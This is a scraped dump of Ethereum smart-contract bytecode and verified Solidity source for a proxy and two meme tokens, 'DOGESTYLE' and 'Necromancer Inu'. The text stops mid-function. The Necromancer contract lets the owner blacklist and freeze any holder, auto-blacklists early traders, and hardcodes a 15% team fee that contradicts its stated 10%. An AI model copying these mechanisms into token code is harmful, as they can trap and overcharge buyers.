0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102c260279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b6060833b6101945760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101af9190610242565b600060405180830381855af49150503d80600081146101ea576040519150601f19603f3d011682016040523d82523d6000602084013e6101ef565b606091505b50915091506101ff828286610209565b9695505050505050565b60608315610218575081610105565b8251156102285782518084602001fd5b8160405162461bcd60e51b815260040161018b919061025e565b60008251610254818460208701610291565b9190910192915050565b602081526000825180602084015261027d816040850160208701610291565b601f01601f19169190910160400192915050565b60005b838110156102ac578181015183820152602001610294565b838111156102bb576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220f87942da5f13a9be8d8fc60901a20b69ff12688c73f6f18469966285183a3d7464736f6c63430008070033
[ 5 ]
0xf1b4472075d5544d49217054b1ba4d99efed7096
/** *Submitted for verification at Etherscan.io on 2021-05-18 */ // SPDX-License-Identifier: Unlicensed pragma solidity 0.6.12; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8); /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the token name. */ function name() external view returns (string memory); /** * @dev Returns the ERC token owner. */ function getOwner() external view returns (address); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address _owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ether/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ether/solidity/issues/2691 return msg.data; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract DOGESTYLE is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint8 public _decimals; string public _symbol; string public _name; constructor() public { _name = "DOGESTYLE"; _symbol = "$DOGES"; _decimals = 18; _totalSupply = 100000000 * 10**18; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } /** * @dev Returns the ERC token owner. */ function getOwner() external override view returns (address) { return owner(); } /** * @dev Returns the token decimals. */ function decimals() external override view returns (uint8) { return _decimals; } /** * @dev Returns the token symbol. */ function symbol() external override view returns (string memory) { return _symbol; } /** * @dev Returns the token name. */ function name() external override view returns (string memory) { return _name; } /** * @dev See {ERC20-totalSupply}. */ function totalSupply() external override view returns (uint256) { return _totalSupply; } /** * @dev See {ERC20-balanceOf}. */ function balanceOf(address account) external override view returns (uint256) { return _balances[account]; } /** * @dev See {ERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {ERC20-allowance}. */ function allowance(address owner, address spender) external override view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {ERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) external override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {ERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Burn `amount` tokens and decreasing the total supply. */ function burn(uint256 amount) public returns (bool) { _burn(_msgSender(), amount); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) public { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c8063893d20e8116100ad578063a9059cbb11610071578063a9059cbb14610356578063b09f126614610382578063d28d88521461038a578063dd62ed3e14610392578063f2fde38b146103c057610121565b8063893d20e8146102c85780638da5cb5b146102ec57806395d89b41146102f4578063a22b35ce146102fc578063a457c2d71461032a57610121565b8063313ce567116100f4578063313ce5671461023357806332424aa314610251578063395093511461025957806342966c681461028557806370a08231146102a257610121565b806306fdde0314610126578063095ea7b3146101a357806318160ddd146101e357806323b872dd146101fd575b600080fd5b61012e6103e6565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610168578181015183820152602001610150565b50505050905090810190601f1680156101955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101cf600480360360408110156101b957600080fd5b506001600160a01b03813516906020013561047c565b604080519115158252519081900360200190f35b6101eb610499565b60408051918252519081900360200190f35b6101cf6004803603606081101561021357600080fd5b506001600160a01b0381358116916020810135909116906040013561049f565b61023b610526565b6040805160ff9092168252519081900360200190f35b61023b61052f565b6101cf6004803603604081101561026f57600080fd5b506001600160a01b038135169060200135610538565b6101cf6004803603602081101561029b57600080fd5b5035610586565b6101eb600480360360208110156102b857600080fd5b50356001600160a01b03166105a1565b6102d06105bc565b604080516001600160a01b039092168252519081900360200190f35b6102d06105cb565b61012e6105da565b6103286004803603604081101561031257600080fd5b506001600160a01b03813516906020013561063b565b005b6101cf6004803603604081101561034057600080fd5b506001600160a01b038135169060200135610693565b6101cf6004803603604081101561036c57600080fd5b506001600160a01b0381351690602001356106fb565b61012e61070f565b61012e61079d565b6101eb600480360360408110156103a857600080fd5b506001600160a01b03813581169160200135166107f8565b610328600480360360208110156103d657600080fd5b50356001600160a01b0316610823565b60068054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104725780601f1061044757610100808354040283529160200191610472565b820191906000526020600020905b81548152906001019060200180831161045557829003601f168201915b5050505050905090565b6000610490610489610899565b848461089d565b50600192915050565b60035490565b60006104ac848484610989565b61051c846104b8610899565b61051785604051806060016040528060288152602001610e59602891396001600160a01b038a166000908152600260205260408120906104f6610899565b6001600160a01b031681526020810191909152604001600020549190610adb565b61089d565b5060019392505050565b60045460ff1690565b60045460ff1681565b6000610490610545610899565b846105178560026000610556610899565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610b72565b6000610599610593610899565b83610bd3565b506001919050565b6001600160a01b031660009081526001602052604090205490565b60006105c66105cb565b905090565b6000546001600160a01b031690565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104725780601f1061044757610100808354040283529160200191610472565b6106458282610bd3565b61068f82610651610899565b61051784604051806060016040528060248152602001610e81602491396001600160a01b0388166000908152600260205260408120906104f6610899565b5050565b60006104906106a0610899565b8461051785604051806060016040528060258152602001610f0f60259139600260006106ca610899565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190610adb565b6000610490610708610899565b8484610989565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156107955780601f1061076a57610100808354040283529160200191610795565b820191906000526020600020905b81548152906001019060200180831161077857829003601f168201915b505050505081565b6006805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156107955780601f1061076a57610100808354040283529160200191610795565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b61082b610899565b6000546001600160a01b0390811691161461088d576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b61089681610cc3565b50565b3390565b6001600160a01b0383166108e25760405162461bcd60e51b8152600401808060200182810382526024815260200180610eeb6024913960400191505060405180910390fd5b6001600160a01b0382166109275760405162461bcd60e51b8152600401808060200182810382526022815260200180610e116022913960400191505060405180910390fd5b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166109ce5760405162461bcd60e51b8152600401808060200182810382526025815260200180610ec66025913960400191505060405180910390fd5b6001600160a01b038216610a135760405162461bcd60e51b8152600401808060200182810382526023815260200180610da66023913960400191505060405180910390fd5b610a5081604051806060016040528060268152602001610e33602691396001600160a01b0386166000908152600160205260409020549190610adb565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610a7f9082610b72565b6001600160a01b0380841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008184841115610b6a5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610b2f578181015183820152602001610b17565b50505050905090810190601f168015610b5c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610bcc576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6001600160a01b038216610c185760405162461bcd60e51b8152600401808060200182810382526021815260200180610ea56021913960400191505060405180910390fd5b610c5581604051806060016040528060228152602001610dc9602291396001600160a01b0385166000908152600160205260409020549190610adb565b6001600160a01b038316600090815260016020526040902055600354610c7b9082610d63565b6003556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6001600160a01b038116610d085760405162461bcd60e51b8152600401808060200182810382526026815260200180610deb6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000610bcc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610adb56fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220654212bd69f4fd06e2fe205b1feba824b54667fcb21d8a1dce8743bdf274e98264736f6c634300060c0033
[ 38 ]
0xF1B4644bCf07B9F74654305dB87469F4C0b375f6
/* Meme Necromancy While U Wait - Elon Musk Join our community -> https://t.me/necromancerinu */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Necromancer is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Necromancer Inu"; string private constant _symbol = "NECRO"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _devFund; address payable private _marketingFunds; address payable private _buybackWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 public launchBlock; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable devFundAddr, address payable marketingFundAddr, address payable buybackAddr) { _devFund = devFundAddr; _marketingFunds = marketingFundAddr; _buybackWalletAddress = buybackAddr; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_devFund] = true; _isExcludedFromFee[_marketingFunds] = true; _isExcludedFromFee[_buybackWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 2; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to] && !bots[msg.sender]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (15 seconds); } if (block.number <= launchBlock + 1) { if (from != uniswapV2Pair && from != address(uniswapV2Router)) { bots[from] = true; } else if (to != uniswapV2Pair && to != address(uniswapV2Router)) { bots[to] = true; } } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function isExcluded(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function isBlackListed(address account) public view returns (bool) { return bots[account]; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _devFund.transfer(amount.mul(4).div(10)); _marketingFunds.transfer(amount.mul(4).div(10)); _buybackWalletAddress.transfer(amount.mul(2).div(10)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 3000000 * 10**9; launchBlock = block.number; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _devFund); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _devFund); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, 15); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = 